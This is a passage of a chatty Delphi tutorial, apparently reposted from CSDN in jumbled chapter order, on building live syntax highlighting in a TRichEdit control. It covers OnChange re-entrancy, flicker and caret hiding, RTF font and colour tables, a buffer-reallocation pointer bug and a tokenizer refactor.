begin

MyRun          := PasCon.GetToken(MyRun,MyTokenState,MyTokenStr);
MyRe.SelStart   := MySelStart;
MyRe.SelLength  := Length(MyTokenStr);

MyRe.SelAttributes.Assign(PasCon.FParseFont[MyTokenState]);

MySelStart := MySelStart + Length(MyTokenStr);

end;

MyRE.SelStart    := WasSelStart;
MyRE.SelLength   := 0;

end;

Now: put the Debugging code on, do [Build All] and then [Run], and set a breakpoint on the first line of this Event. Open up the testinput.pas. When the debugger stops in the OnChange event, Press <F9> to continue on, and press <F9> again, and again - Do you see? We keep going back into the Event again and again (and again). What’s happening?

Somehow in our event we are triggering off another [OnChange] event. This call to the [OnChange] event code is stored in the message queue. When the event were currently in is finished, a new one is just waiting on the Event queue, which executes and creates more events... a re-entrant loop.

This behaviour is not surprising - after all we are actually changing the control in the process of our code, so no wonder another [OnChange] event is being triggered.

The way to fix such things is to ensure our actions do not trigger of the Event. We can do this by "temporarily" storing the RichEdits.OnChange property (which contains a reference to call our procedure TForm1.RichEdit1Change) in our own internal variable, and then setting the OnChange property to nil.

We then do all the processing we want to do - if it happens to trigger an [OnChange] event - there is nothing to call as OnChange is nil, and so the Event doesn't go onto the Message queue. When we're finished however we must return the OnChange property to it original value, otherwise the reprocessing want happen next time around.

If we look at the Delphi Helpfile we see that the OnChange property is of a certain type, the same type we have to make our SaveOnChangeIn variable:

var

SaveOnChangeIn: TNotifyEvent;

~~~~~rest of code

begin

MyRe := TRichEdit(Sender);
SaveOnChangeIn := MyRe.OnChange;
MyRe.OnChange := nil;

~~~~~rest of code

MyRe.OnChange := SaveOnChangeIn;

end;

Try it out!!!

  • Compile and Run
  • Open up Unit1.pas in the "editor" we have written
  • Click in the RichEdit in the center of the first lines, in the middle of "unit".
  • Press the [space bar]
  • Press the [backspace key]
  • Arrow to the end of the line
  • Press [Enter]
  • Press [BackSpace]
  • [BackSpace] away the entire line
  • Re-type the entire line

Result: "functionally" the Control should look that same as it did before we clicked in it. The line "unit Unit1;" should highlighted properly as per your Delphi 3.0 Editor (save the background colour). However its slow and flickers a great deal. Try opening up a new line and just type a long phrase - e.g "if (RichEdit = Santa) then GetPresents('box of choclate'); " and you'll agree with me that:

  1. GOOD - It is highlighting properly
  2. BAD - There is flickering
  3. BAD - The longer the line gets, the longer it takes to do the re-highlighting
  4. BAD - you get the "someone is chasing me effect"

The flickering is due to a number of components. We'll have to deal with each seperately.

The most obvious is the "selecting" of each Token. Visually the control is just repeating what we were able to do manually - when a piece of text is selected it becomes highlighted by the black stripe. We need to stop this from happening. Back to the helpfile(s) again. Have a search around, and come back after a snack break with some ideas... I'm hungry :-)

Death to the black stripe

Marks: 5/10

Most of you would have found the HideSelection property of the RichEdit control. When it is set to TRUE and the RichEdit looses the focus (the user clicks onto another control) the selection bar (the black stripe) is hidden. In fact if you try it out by selecting some text in the RichEdit1 then clicking in the Edit1 control at the top of the "editor" you'll see the selection disappears! [Tab] back into the RichEdit control and it reappears. Lets do this programmatically:

begin

Edit1.SetFocus;

~~~~~

MyRe.SetFocus;

end;

Take my word for it, but if you look closely, the black strip is gone. Pity we got stuck with a new one in the Edit1 control :-(

If your programmed in Delphi you may know a little trick:

Delphi Rule #4: you can't SetFocus on a disabled Control.

The converse however is also true:

Delphi Rule #4b: a disabled Control is not "Focused"

So try instead we can just Disable (then Enable) the RichEdit control like this:

begin

MyRe := TRichEdit(Sender);
MyRe.Enabled := False;

~~~~~~

MyRe.Enabled := True;

end;

Oops. I should have known. After all I said it: a disabled Control is not "Focused" - barely ten lines ago! When the RichEdit is enabled again, we also have to SetFocus back to it. Shees.. :-)

begin

MyRe := TRichEdit(Sender);

MyRe.Enabled := False;

~~~~~~

MyRe.Enabled := True;

MyRe.SetFocus;

end;

Try it again. This time things are working better, and we're leaving poor old Edit1 Control alone. Thats good practice, as it may have had an [OnFocus] event that does wierder things than what we're trying to do. Maybe not now, but it could in the future!

Marks: 10/10

On the other kind, some of you may have found instead the EM_HIDESELECTION message in the Win32.HLP. If you had delved in, you would have found something very interesting. The Delphi HideSelection property only implements half the capabilities of this message. You can also, by calling it direct, tell it to Temporarily hide the black stripe even when the control has the focus. So instead you could use the following lines of code:

begin

MyRe := TRichEdit(Sender);

MyRe.Perform(EM_HIDESELECTION,1,0);

~~~~~~

MyRe.Perform(EM_HIDESELECTION,0,0);

end

Yummy. Nice clean coding:

Death to the FLICKER

The next major problem is this bloody flicker. You should pop back into Delphi for a second, and types some lines in its editor, to see if it flickers at all. It does. But only when it is changing colors when it recognizes a change has occured. Otherwise it doesn't bother. Now look at what’s happening in our "editor". Do you see?

The problem is that we are not "conserving" what we are doing. If something is still the same TokenType it doesn't need to be re-highlighted because it already correct on the screen. We need to check if the TokenType of each token has changed since last time we repainted this line, and only then repaint to.

In fact we don't need to do even that - we can just check whether the SelAttributes (which represents the current selection's attributes) is any different from what we want to change it to i.e. FParseFont[MyTokenType]. This way if even the TokenType had changed, but the new and old TokenType shared the same display attributes, we would still conserve our drawing.

Actually the problems is that the RichEdit isn't doing the conserving. In the old text based system I used to use, if you printed something to the screen, and it was the same as something already on the screen, in the same position, then the program would not rewrite it to the screen. It would "conserve" the amount of writing it did, as in the old days 1200 baud screens were SLOW, and printing the same characters was a waste of time.

Huh - and people said we have come so dar with windows. Sloppy, Sloppy, Sloppy I say! :-)

So lets replace:

MyRe.SelAttributes.Assign(PasCon.FParseFont[MyTokenState]);

with:

If MyRe.SelAttributes.Name <> PasCon.FParseFont[MyTokenState].Name then
MyRe.SelAttributes.Name := PasCon.FParseFont[MyTokenState].Name;

If MyRe.SelAttributes.Color <> PasCon.FParseFont[MyTokenState].Color then
MyRe.SelAttributes.Color := PasCon.FParseFont[MyTokenState].Color;

if MyRe.SelAttributes.Style <> PasCon.FParseFont[MyTokenState].Style then
MyRe.SelAttributes.Style := PasCon.FParseFont[MyTokenState].Style;

And off you go and try it out... (PS. Yes the last bit of code is bad programming...)


CSDN_文档中心_讲述如何开发一个控件,很有价值(七)

SUCCESS - (Nearly...)

I think you'll agree we are pretty close. There is just a little bit of flicker. This flicker is the SelStart jumping the Cursor position around the text. We need to hide this. This "Cursor" is also known as a Caret. Looking throught Win32.Hlp again we find the lovely, and appropriately named, HideCaret() function.

Lets try this then: everytime we change the value of MyRe.SelStart lets call HideCaret(MyRe.Handle) immediately before.

I'll be kind - that doesn't work. I tried 2 x HideCaret(MyRe.Handle), and it still didn't work. Neither did three,four or 25x. So close - but yet - so far. I think its time for another Delphi Rule:

DELPHI RULE #5 - If you bother to get your way through the atrocious index of the Win32.HLP file to find what you are looking for - make sure you really read what you found properly!

The key was the last paragraph in the description of not HideCaret but ShowCaret (which I had also read as I thought we were going to need it, especially to reverse my 25x HideCaret()). You also need another Delphi Rule to understand it:

The caret is a shared resource; there is only one caret in the system. A window should show a caret only when the window has the keyboard focus or is active.

DELPHI RULE #6 - Everything (basically) is a Window

You see the RichEdit is a windows control and is also.. in a weird sense.. a window. It has a Handle, which is why HideCaret would accept it. So re-reading the last line again we get:

The caret is a shared resource; there is only one caret in the system. A [RichEdit] should show a caret only when the [RichEdit] has the keyboard focus or is active.

So - in the end - we're back to were we started - we have to disable the RichEdit to stop the final bit of flickering. This also (co-incidentially) means that EM_HIDESELECTION is not needed anymore (if HideSelection is set properly during Design time). So in the end everyone gets 10/10 for marks!

ASH Version 0.9b

procedure TForm1.RichEdit1Change(Sender: TObject);

var

SaveOnChangeIn: TNotifyEvent;
WasSelStart,WasRow,Row,BeginSelStart,EndSelStart: Integer;
MyRe : TRichEdit;
MyPBuff: array[0..255] of char;
MyTokenStr:string;
MyTokenState:TTokenState;
MyRun:PChar;
MySelStart: Integer;

begin

MyRe := TRichEdit(Sender);

SaveOnChangeIn := MyRe.OnChange;
MyRe.OnChange  := nil;

MyRe.Enabled   := False;

WasSelStart      := MyRE.SelStart;
WasRow            := MyRE.Perform(EM_LINEFROMCHAR, MyRE.SelStart, 0);
Row                    := WasRow;
BeginSelStart    := MyRe.Perform(EM_LINEINDEX, Row, 0);
EndSelStart       := BeginSelStart + Length(MyRE.Lines.Strings[Row]);

StrPCopy(MyPBuff,MyRE.Lines.Strings[Row]);
MYPBuff[Length(MyRE.Lines.Strings[Row])] := #0;
MySelStart   := BeginSelStart;
MyRun         := MyPBuff;

while(MyRun^ <> #0) do
begin

MyRun := PasCon.GetToken(MyRun,MyTokenState,MyTokenStr);

MyRE.SelStart := MySelStart;
MyRE.SelLength := Length(MyTokenStr);

If MyRE.SelAttributes.Name <> PasCon.FParseFont[MyTokenState].Name then MyRE.SelAttributes.Name := PasCon.FParseFont[MyTokenState].Name;

If MyRE.SelAttributes.Color <> PasCon.FParseFont[MyTokenState].Color then MyRE.SelAttributes.Color := PasCon.FParseFont[MyTokenState].Color;

if MyRE.SelAttributes.Style <> PasCon.FParseFont[MyTokenState].Style then MyRE.SelAttributes.Style := PasCon.FParseFont[MyTokenState].Style;

MySelStart := MySelStart + Length(MyTokenStr);

end;

MyRE.SelStart          := WasSelStart;
MyRE.SelLength      := 0;
MyRe.OnChange     := SaveOnChangeIn;
MyRe.Enabled         := True;

MyRe.SetFocus;

end;

Towards - ASH Version 1.0b

Couple of problems with the last version if you try it out for size:

  1. Its slightly inefficient in that everytime SelAttributes is changed it forces a repaint of the same token in the control. We should instead use some variable (e.g var DoFormat:Boolean) to decided if we need to reformat, and then check the value of DoFormat at the end of this checking, and do it all then by a simple SelAttribute.Assign(FParseFont[MyTokenState]). This means we can also change the seperate "if" statements to a single if ... then .. else .. if ... then .. else which should code faster - especially if you put the various test situations in the order of likeliness to occur (e.g font changes less frequently than the color, so should be further down the if..else..if)

  3. For some reason if you type a {style comment} on a line, after about 4-7 characters it reverts to different colours. I can't seem to work out yet why this happens - but I understand why its not being picked up. SelAttributes returns the value of the "initial" styling of the entire selected block. So if you select text which starts off black and then becomes blue, SelAttributes.Color will equal clBlack. We must also examine SelAttributes.ConsistentAttributes to ensure that the entire selection is consistent in the way it is highlighted. If it isn't - then we want to force it to be rehighlighted - its obviously not in the correct format.

  5. Multi-line comments are a big pain e.g { words <CR> word <CR> words }. I don't have them in my 4GL so I didn't need to fix this sort of problem. However I do have muti-line strings - so I need to be able to string strings across many lines. The trouble is we have to code to program over a number of lines - but have a look at what happens in Delphi when you place a "{" anywhere in the code. The highlighting can force a repaint of the entire 2,000,000 lines of text in the control. We could catch that situation - ie if the last token on the line is a tsComment and it doesn't end in '}' we could increase SelLength until it did or we reach the end of the RichEdit.Lines. (That basically what the tokeniser does anyway with all that inc(Run).)

  6. That easy. But what happens if you then delete the "{"? You need to go forward 2,000,000 lines and put the highlighting back again? We could decide to keep going until the if...then..else..list didn't set DoFormat := True. But what happens if we're in a colour mode were Comment highlighting style = KeyWord highlighting style. We would stop prematurely. So this "logic" wont help in all situations.

  7. You can still get the "someone is chasing you effect" - except now its "someone is fleeing from you" effect. It happens when you have (* This is a comment *) and delete the first *-character. The control takes an appreciable time to rehighlight the text.

  9. While looking for a fix for the last problem, I remembered the Richedit.Lines.BeginUpdate function. But that didn't help either. What we need is a Richedit.BeginUpdate. What would that do? It would increase an internal counter by one everytime it was called. RichEdit.EndUpdate would do the opposite. Then we would create our own WM_PAINT message handler. This is received everytime Windows wants the control to repaint a portion of itself. If we catch this message then we can stop processing of these message until the internal counter = 0 again. Then, and only then, will the Control repaint itself - ditching we would hope most of the intervening steps.

  11. Fixing the mult-line comments:

  12. My current idea is to use the RichEdit.Lines.Object to store the TokenType of the first token on each line. This way we could easily know how far we need to go when re-hightlighting multi-line comments. Initially this would be set to nil. I think this will work.

    [Editor update: This didn't actually work - as the RichEdit.Lines.Object isn't implemented in TRichEdit control. It is
    always nil regardless of what you assigned to it]

  13. Upgrading to RichEdit98:

  14. I'm also in the process of updating to the RichEdit98 components for Delphi 3.0-4.0. version 1.34 Author Alexander Obukhov, Minsk, Belarus. This control has a number of advances on the standard RichEdit control that ships with Delphi. Included in this are:

    • BeginUpdate,EndUpdate
    • Independant background colours
    • Margins
    • Hotspots
    • (Source code in full)

Anyway I hope you have enjoyed the adventure.I'm sorry if not all the examples compile as written. They may need some fixing to compile if you copy straight from the Browser into the Delphi Editor. Please send any comments to jonhd@hotmail.com.

Jon HogDog


CSDN_文档中心_讲述如何开发一个控件,很有价值(三)

blank.rtf - empty -so I could see the "plain" header line

{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans Serif;}{\f1\froman\fcharset2 Symbol;}{\f2\froman Times New Roman;}}
{\colortbl\red0\green0\blue0;}\deflang1033\pard\plain\f2\fs20 \par }

plaintext.rtf - too see how having any text was handled

{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans Serif;}{\f1\froman\fcharset2 Symbol;}{\f2\froman Times New Roman;}}{\colortbl\red0\green0\blue0;}
\deflang1033\pard\plain\f2\fs20 this is plain text
\par }

difffont.rtf - different font, same size, same text

{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans Serif;}{\f1\froman\fcharset2 Symbol;}{\f2\froman Times New Roman;}{\f3\fswiss\fprq2 Arial;}}{\colortbl\red0\green0\blue0;}
\deflang1033\pard\plain\f3\fs20 plain text different font\plain\f2\fs20
\par }

diffsize.rtf - text set to 18 point in the default font

{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans Serif;}{\f1\froman\fcharset2 Symbol;}{\f2\froman Times New Roman;}}{\colortbl\red0\green0\blue0;}
\deflang1033\pard\plain\f2\fs36 plain text different font\plain\f2\fs20
\par }

diffcolor.rtf - etc. my favourite of course - blue.

{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans Serif;}{\f1\froman\fcharset2 Symbol;}{\f2\froman Times New Roman;}}{\colortbl\red0\green0\blue0;\red0\green0\blue255;}
\deflang1033\pard\plain\f2\fs20\cf1 plain text different font\plain\f2\fs20
\par }

Looking at the resultant codes you see how the RTF stream is formatted. It comprises a:

  1. INITIAL HEADER (\rtf1\.....)
  2. FONTTABLE (\f0\fswiss...)
  3. COLORTABLE (\colortbl)
  4. MISCELLANEOUS
  5. DEFAULT FORMAT (\pard....)
  6. BODY OF THE FILE.

As a result of that I rewrote this code:

WriteToBuffer('{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS
SansSerif;}{\f1\froman\fcharset2 Symbol;}{\f2\fmodern Courier New;}}'+#13+#10);
WriteToBuffer('{\colortbl\red0\green0\blue0;}'+#13+#10);
WriteToBuffer('\deflang1033\pard\plain\f2\fs20 ');

to become:

WriteToBuffer('{\rtf1\ansi\deff0\deftab720');
WriteFontTable;
WriteColorTable;
WriteToBuffer('\deflang1033\pard\plain\f0\fs20 ');

The procedures Write[Font,Color]Table basically creates a table of fonts/colors we can reference later on. Each Font and Color type is stored by index in a TList internally. It acts as a lookup tables - by matching the Font name or Color value we can find the [num] to code into the RTF stream at the required moment:

\f[num] = the index of which Font you want to use, as pre-set in the "on the fly" font table
\fs[num] = point size - (for example 20 = 10point)
\cf[num] = the index of which Color to use, as preset in "on the fly" color table
\cb[num] = which background color to use - (ignored in RichEdit version 2.0)

PROBLEM#2 Crashes in long comments or text (existing problem)

There is a bug in ScanForRtf. Can you see it?

procedure TPasConversion.AllocStrBuff;
begin

FStrBuffSize:= FStrBuffSize + 1024;
ReAllocMem(FStrBuff, FStrBuffSize);
FStrBuffEnd:= FStrBuff + 1023;

end; { AllocStrBuff }

procedure TPasConversion.ScanForRtf;
var
       i: Integer;
begin

     RunStr:= FStrBuff;
     FStrBuffEnd:= FStrBuff + 1023;

     for i:=1 to TokenLen do
     begin
          Case TokenStr[i] of
               '\', '{', '}':
               begin
                    RunStr^:= '\';
                    inc(RunStr);
               end
          end;

          if RunStr >= FStrBuffEnd then AllocStrBuff;
          RunStr^:= TokenStr[i];
          inc(RunStr);
     end;

     RunStr^:= #0;
     TokenStr:= FStrBuff;

end; { ScanForRtf }

EXAMPLE - code snippet from Pas2Rtf demonstrating the "long comment" bug

The problem: if FStrBuff is enlarged using AllocStrBuff() (to make it bigger to handle a very long comment) the Windows Memory manager probably has to re-allocate it by moving the entire string buffer somewhere else in memory. RunStr however is not adjusted for this change and stillpoints to the old memory area, now unallocated.

The fix: Reallocate RunStr in the AllocStrBuff routine so it points to the correct place in the new area of memory. Try and fix it yourself, or look at my garsely spaghetti code in jhdPasToRtf.pas.

Automatic Syntax Highlighting (my first implementation)

To understand how Automatic syntax highlighting works, you should have a close look at what happens in the Delphi 3.0 Editor. After all - if Borland was happy with it - who am I to argue :-)

Take note when the "syntax" changes and what is affected. In retrospect the difficult thing is to implement a highlighter that is:

  1. Fast
  2. Accurate
  3. Doesn't flicker
  4. Isn't obvious ("the someone is chasing me phenomenon".. you'll see)

1. When should we do the re-highlighting ?

In YourPasEdit the highlighting is done as the file is read in. Once this is done, the only way to make use of that technique would be to write out the file everytime it changes and read it back in again - obviously a very slow process. In my case, I basically wanted to just reformat the line(s) that have been changed, immediately after the change had been done i.e. after every new character, DELETE or BACKSPACE or even Paste or DragDrop had been processed. I needed something that was triggered everytime the control was effected in such a way.

What I needed then was an [Event].

2. Which event - there's so many to choose from ?

A RichEdit, like any control, has a number of [Events] triggered when you do various things to the control. What is not obvious, is that many events trigger other events in turn. So in choosing which Event(s) to hang your code off you have to ensure that (a) it catches all situations where you need to "fix" the highlighting and (b) it doesn't become re-entrant (i.e. what you do in the [Event], doesn't trigger itself again or any other [Event] that would call the "highlighting code"). From a quick look at the helpfile, I decided that [OnChange] seemed a likely candidate. According to the Delphi 3.0 Helpfile:

Write an OnChange event handler to take specific action whenever the text for the edit control may have changed. Use the Modified property to see if a change actually occurred. The Text property of the edit control will already be updated to reflect any changes. This event provides the first opportunity to respond to modifications that the user types into the edit control.

You may be thinking however: "Heh? What about those other things - like Methods and Properties. Can't they also change the text?" They sure can - but most end up triggering [OnChange] anyhow.

3. Is it what I want? - Rich text controls (from Delphi3 Helpfile)

The rich text component is a memo control that supports rich text formatting. That is, you can change the formatting of individual characters, words, or paragraphs. It includes a Paragraphs property that contains information on paragraph formatting. Rich text controls also have printing and text-searching capabilities.

By default, the rich text editor supports

  • Font properties, such as typeface, size, color, bold, and italic format
  • Format properties, such as alignment, tabs, indents, and numbering
  • Automatic drag-and-drop of selected text
  • Display in both rich text and plain text formats.

  • (Set PlainText to True to remove formatting)

type TNotifyEvent = procedure(Sender: TObject) of object;
property OnChange: TNotifyEvent;

4. Is it the event I want - ie [OnChange] Event - the right one?

Live dangerously, let’s give it a go and see...by testing our assumptions out:

So I wrote my first [OnChange] event:

  1. Create a New application
  2. place on it one RichEdit (RichEdit1) and one Edit control (Edit1)
  3. Code the [OnChange] for the RichEdit1 control like this:
procedure TForm1.RichEdit1Change(Sender: TObject);
begin
TRichEdit(Sender).Tag := TRichEdit(Sender).Tag + 1;
Edit1.Text := 'Tag=' + IntToStr(TRichEdit(Sender).Tag);
end;

In this case the Sender object is the RichEdit being changed. The code basically uses the RichEdit's Tag variable (initially 0) as a handy Control specific variable. Everytime the [OnChange] event is called, it increases the Tag by 1, and display its value in an Edit Control as Text. You should pre-set the RichEdit control with some text in it, otherwise the following may be confusing!

  1. Compile and Run...
  2. Click in the Control. Nothing...
  3. Move around in it using CursorKeys... Nothing...
  4. Click outside the control.. and then back inside.. Nothing...
  5. Press the [Space Bar].. Tag=1...
  6. Press [Backspace].. Tag=2...
  7. Press return.. Tag=3..
  8. Select some text.. No change..
  9. CTRL-C some text.. No change..
  10. CTRL-X some text.. Tag=4..
  11. CTRL-V some text.. Tag=5..

As it looked good so far I then added to the Form1.OnShow event:

RichEdit1.Lines.LoadFromFile('c:\winzip.log'); {Just a plain text file hanging around }

to see what happened. And guess what - an [OnChange] event was called sometime and "Tag=1" was displayed in the Edit control as the proof when the Form appears for the first time. So we can see that procedures do call Events that apply to what they are doing.

5. What happens in Syntax Highlighting anyhow?

Watch carefully in the Delphi Editor. Now try and reproduce it. Open a WordPad (since WordPad is a souped up RichEdit basically). Read in a source file (e.g any Unit1.pas) and do syntax highlighting manually:

  1. Select a token
  2. Manipulate it using the buttons provided to change Font, Size, Color, and Bold
  3. Move onto the next token
  4. Goto 1

So therefore in [OnChange] we'll try and write code to reproduce what we have done manually.

6. Which text do I want.. and where do I get it ?

Hunting through the Delphi Helpfile on RichEdit controls we find that the actual text information in the RichEdit control is stored (or rather can be accessed from) either:

RichEdit.Text

Text contains a text string associated with the control.

TCaption = type string;
property Text: TCaption;

Description

Use the Text property to read the Text of the control or specify a new string for the Text value. By default, Text is the control name. For edit controls and memos, the Text appears within the control. For combo boxes, the Text is the content of the edit control portion of the combo box.

RichEdit.Lines

Lines contains the individual lines of text in the rich text edit control.

property Lines: TStrings;

Description

Use Lines to manipulate the text in the rich text edit control on a line by line basis. Lines is a TStrings object, so TStrings methods may be used for Lines to perform manipulations such as counting the lines of text, adding lines, deleting lines, or replacing the text in lines.

To work with the text as one chunk, use the Text property. To manipulate individual lines of text, the Lines property works better.

Now Lines seemed to be what I wanted - after all I wanted the Syntax highlighting to work on a line by line basis. So let’s have a look at whats been changed.

Oh.. look at what? How can I tell which line is the one that is changed?

Unlike some Events, the [OnChange] isn't passed any variable's save the identity of the RichEdit control affected. The RichEdit Control doesn't have a runtime variable that tells us either. The only variables are the SelStart and SelLength - but their about selecting text aren't they? I just want to know what line I'm on :-(

It was about then that I re-read the information on the Sel??? properties, and recalled my "concept" code. Selection - I realised - was the name of the game. By manipulating these variables I could reproduce what I was doing manually - selecting text - as program code. Once selected you can then manipulate the attributes of the selected text through the SelAttributes structure.

Let’s get familiar with these variables (in Summary)
.

SelStart | Position of the Cursor, or the beginning of the selected text
SelLength | 0 if SelStart = Cursor Pos, or length of selected Text
SelText | empty if no text selected, or actual text selected
SelAttribute | Default attributes if I was to start typing at the Cursor position OR the actual attributes of the selected text

There is actually no other way to access the attributes of the text already in the Control than by programmatically accessing them via manipulating Sel variables (*if you stick to using the defined properties and methods).

In the end RichEdit.Text and RichEdit.Lines are just plain old strings - not really "rich" at all. The other thing to note is that SelStart is a 0-based index on the first character of RichEdit.Text - so it looks like Richedit.Line is out the door.

7. Okay implement: Select a Token

Basically I wanted to start at the beginning of the line, send just that line to PasCon, and read it back in and replace the current line with the result. Trouble is RichEdit doesn't give you access to the 'RTF' representation of a single line. Plus I still can't tell when the beginning or end of the line is. Since the latter seems to be a nagging problem, we better fix that first - trouble is: How?

When all else fails - WinAPI calls of course.

Most visual controls in Delphi are in fact just native Windows controls encapsulate as Delphi types. You can still use Windows API functions to access the control underneath. This was it is possible to access information not accessable per Delphi public Properties, Method or Events. Time to delve through Win32.HLP and see what it has to say about RichEdit controls. Its stored in C:/Program Files/Borland/Delphi 3.0/Help if you don't have a shortcut to it.

Open Win32.HLP -> [ Contents ] -> [ RichEdit controls ] -> [ Rich Edit Controls ]

I spent some time getting to know the "full" capabilites of the RichEdit control hidden behind Delphi's implementation of it. Much of what I learned came in handy later on (as you'll see) and as a result I derived my second two Delphi Rules:

Delphi Rule #2: If your Project hinges on the capabilities of a certain control - make sure you know everthing about it - from the beginning.

Delphi Rule #3: "Reference" is not the same as "Summary" (also known as Win32.HLP Rule#1)

Eventually I discovered the key in the [ Rich Edit Control Reference ] under "Lines and Scrolling". I had thought this page was simply a summary of the messages discussed in the preceding help pages. Actually it included a number of extra messages not discussed elsewhere - the exact ones I was after!

Lines and Scrolling

EM_LINEFROMCHAR - give them a 0-based index and they'll return the line

EM_LINEINDEX - give them a line and you get the index of the first character

EM_LINELENGTH - give them a line and you get the length of the line

So lets start coding.

(NB: To use the constants (EM-?) you'll have to manually add RichEdit in the uses clause)

procedure TForm1.RichEdit1Change(Sender: TObject);

  var WasSelStart,Row,BeginSelStart,EndSelStart: Integer;
  MyRe : TRichEdit;

begin

   MyRe          := TRichEdit(Sender);
   WasSelStart  := MyRE.SelStart;
   Row          := MyRE.Perform(EM_LINEFROMCHAR, MyRE.SelStart, 0);
   BeginSelStart:= MyRe.Perform(EM_LINEINDEX, Row, 0);
   EndSelStart  := BeginSelStart + Length(MyRE.Lines.Strings[Row]);

  // I didn't use the EM_LINELENGTH message, as the variables was avaiable via Delphi

   Edit1.Text := IntToStr(WasSelstart) + '-' +
   IntToStr(Row) + '-' +
   InttoStr(BeginSelStart) + '-' +
   IntToStr(EndSelStart);

end;


CSDN_文档中心_讲述如何开发一个控件,很有价值(四)

To start with I used the Edit1 Control to display the results of all these variables. I then tried manipulating text in the RichEdit to see what values I got. You should do the same. Type slowly in:

1234567890<CR>1234567890<CR>1234567890

and see how the results are reflected in the Edit control as you do so. Then experiment - try adding stuff to the ends of lines, and in the beginning of the line, and middle of lines. You may have to refer back to the Code to work out which number represents which variable.

Okay, now using the variables we have, lets try selecting the text of the current line, and display it in a new Edit Control (Edit2).

Add the following code to see what happens (don’t forget to add the second edit control and make it as wide as possible):

  MyRe.SelStart    := BeginSelStart;
  MyRe.SelLength   := EndSelStart - BeginSelStart;
  Edit2.Text       := MyRe.SelText;
end;

Run the program and try it out.

OOPS - That doesn't work - the text remains selected and the original cursor position is lost.
We need to reset SelStart and SelLength before we finish in the [OnChange] event. So let’s add at the end:

  MyRe.SelStart    := WasSelStart;      //back to were we started
  MyRe.SelLength   := 0;                  // nothing selected
end;

While playing with text in the edit control I discovered something weird.

If you typed [1] then <CR> then [2] the Edit1 displayed [4-1-3-4].

But there were only two characters in the display.

I made a mistake. It appears that RichEdit.Text can tell you where the beginning and end of line is. Why? Because you can access the <CR><LF> characters in the Text string. So we could have manipulated the Text property of the control to work out the beginning and end of lines by reading back and forward from SelStart to find <CR><LF> characters. We may not have known which line we were on, but we would know where it began and ended. Nevertheless we should keep this in mind, it might come in handy later.

But it doesn't matter - the EM_###### messages are a neat way of doing things. And they work. For the moment at least we'll stick with them.

7. Okay implement: Part 2 - Change the format

After the line Edit2.Text := MyRe.SelText, but before the "resetting" part, lets put some logic in to turn lines RED when they are longer than a certain length:

if (MyRe.SelLength > 10) then MyRe.SelAttributes.Color := clRed;

You'll notice two things if you test this out. First - it does work. Second however, is that if you type a line > 10 characters, press return and type one character - its in Red. This is because it inherits the Attributes of the preceding text. Just like if you have bold on in a Word processor, it doesn't reset if you press return. So lets change the line to include an else situation:

else MyRe.SelAttributes.Color := clBlack;

That seems to work - except when you press return in the middle of a > 10 character line you have already typed (which is already Red) to leave a stump < 10 characters on the line above - it remains red. This is because the code leaves you on the next line, and SelStart refers to this new line, not the previous one. In our eventual code, we'll have to take care to ensure this doesn't happen - we have to catch this situation and deal with it. It wont be the only situation I'm sure....

PS: There will be a number of situation we're we'll have to be careful. Can you think of any now? Try putting a lot of text in the Control (or manipulate a loaded file) and selecting some and using the inherit Drag and Drop (move your Mouse over some selected text, press and hold down the Left MouseButton and then drag away) to move some text. This only Triggers one OnChange Event. We may also be moving multiple lines along the way. In the future we'll have to put in some code to detect this happening, and ensure the [OnChange] event can deal with the need to reformat in two different locations. That means thinking in the back of the head about how in the future we may have to deal with this kind of situation, and ensure our code to deal with the simple situation can be adapted - i.e. be "versatile".

8. Basically it all seems to kind-of work.. can't we do some real programming now?

Okay, okay. But first we have a problem. Actually a rather big problem. The problem is PasCon. Why?

First: It returns RTF code.
Problem: We can't use RTF code.

Second: its designed to work an entire stream, and then give it back to us again as a whole.
Problem: We actually want greater control over it than this "all or nothing" approach.

OOP to the Rescue

When you have something that works in a situation, and needs to be applied in another situation were it has to do a similar, but subtly different job - you have two choices:

  1. copy the function, and re-write it for the new situation, or
  2. kludge around it (e.g use Pas2Rtf, and then write a RtfCodes2RtfControl procedure).

Modern languages however give you an option: OOP it. "Objectify" it. This is more than just deriving something from an existing object. It is in a sense programming in a "state of mind". Controls should be created so they can be used in a variety of situations - father than situation specific. In this case all PasCon can deal with is tokenising the input stream and returning code RTF text. What we really need to do is divide it into two entitites. We need to separate the [Parsing/Recognise the Token and TokenType] from the [Encode it in RTF codes].

So lets start with ConvertReadStream, editing it so it looks something like this:

function TPasConversion.ConvertReadStream: Integer;
begin

    FOutBuffSize := size+3;
    ReAllocMem(FOutBuff, FOutBuffSize);
    FTokenState := tsUnknown;
    FComment    := csNo;
    FBuffPos    := 0;
    FReadBuff   := Memory;

    {Write leading RTF}

    WriteToBuffer('{\rtf1\ansi\deff0\deftab720');
    WriteFontTable;
    WriteColorTable;
   WriteToBuffer('\deflang1033\pard\plain\f2\fs20 ');

    Result:= Read(FReadBuff^, Size);

    if Result > 0 then
    begin

        FReadBuff[Result] := #0;
        Run := FReadBuff;

        while Run^ <> #0 do
        begin

         Run := GetToken(Run,FTokenState,TokenStr);
         ScanForRTF;
         SetRTF;
         WriteToBuffer(PreFix + TokenStr + PostFix);

        end;

        {Write ending RTF}

        WriteToBuffer(#13+#10+'\par }{'+#13+#10);

    end;

    Clear;

    SetPointer(FOutBuff, fBuffPos-1) ;

end; { ConvertReadStream }

The code for ConvertReadStream is now much smaller, and also easier to understand. We can then take all the code that used to be in ConvertReadStream that did the tokenizing and create a new subroutine - the GetToken function that just does the recognizing and labelling of the individual tokens. In the process we also loose a huge number of repeated lines of code, as well as a number of sub-routines such as HandleBorCom and HandleString.

//
// My Get Token routine
//

function TPasConversion.GetToken(Run: PChar; var aTokenState: TTokenState;
var aTokenStr: string):PChar;
begin

    aTokenState := tsUnknown;
    aTokenStr := '';
    TokenPtr := Run;         // Mark were we started

    Case Run^ of

#13:

begin

aTokenState := tsCRLF;
inc(Run, 2);

end;

#1..#9, #11, #12, #14..#32:

begin

while Run^ in [#1..#9, #11, #12, #14..#32] do inc(Run);
aTokenState:= tsSpace;

end;

'A'..'Z', 'a'..'z', '_':

begin

aTokenState:= tsIdentifier;
inc(Run);
